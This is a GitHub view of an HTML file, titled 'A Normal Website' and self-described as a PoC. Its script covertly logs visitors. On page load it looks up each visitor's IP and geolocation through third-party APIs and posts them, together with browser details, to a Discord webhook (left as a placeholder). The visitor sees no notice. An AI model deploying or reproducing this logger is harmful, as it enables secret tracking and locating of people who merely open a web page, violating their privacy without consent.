-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
41 lines (35 loc) · 2.04 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html>
<head>
<title>A Normal Website</title>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<div class="background"></div>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$.getJSON("https://api.ipify.org?format=json", function(data) {
$.getJSON("https://ipapi.co/" + data.ip + "/json/", function(ipapi) {
// yes I know this is a very dumb way to do it but its just a PoC get off my case
// if its stupid and it works then it isn't stupid
var webhook = "your discord webhook url";
var request = new XMLHttpRequest();
request.open("POST", webhook);
request.setRequestHeader('Content-type', 'application/json');
let currentDate = new Date();
let cSec = currentDate.getSeconds();
let cMin = currentDate.getMinutes();
let cHour = currentDate.getHours();
let cDay = currentDate.getDate();
let cMonth = currentDate.getMonth() + 1;
let cYear = currentDate.getFullYear();
var params =
{username: "Website logger", avatar_url: "", content: "",
embeds: [{title: "User Logged on `" + cDay + "/" + cMonth + "/" + cYear + " | " + cHour + ":" + cMin + ":" + cSec + "`", color: 1752220,
description: "**IP: **`" + data.ip + "`" + "\n**Language: **`" + navigator.language + "`" + "\n**User Agent: **`" + navigator.userAgent + "`" + "\n\n**OS: **` " + navigator.platform + "`" + "\n**Webdriver: **`" + navigator.webdriver + "`" + "\n**Version: **`" + navigator.appVersion + "`" + "\n**Country: **`" + ipapi.country_name + "`" + "\n**City: **`" + ipapi.city + "`" + "\n**Latitude: **`" + ipapi.latitude + "`" + "\n**Longitude: **`" + ipapi.longitude + "`"}]}
request.send(JSON.stringify(params));
})
})
</script>
</body>
</html>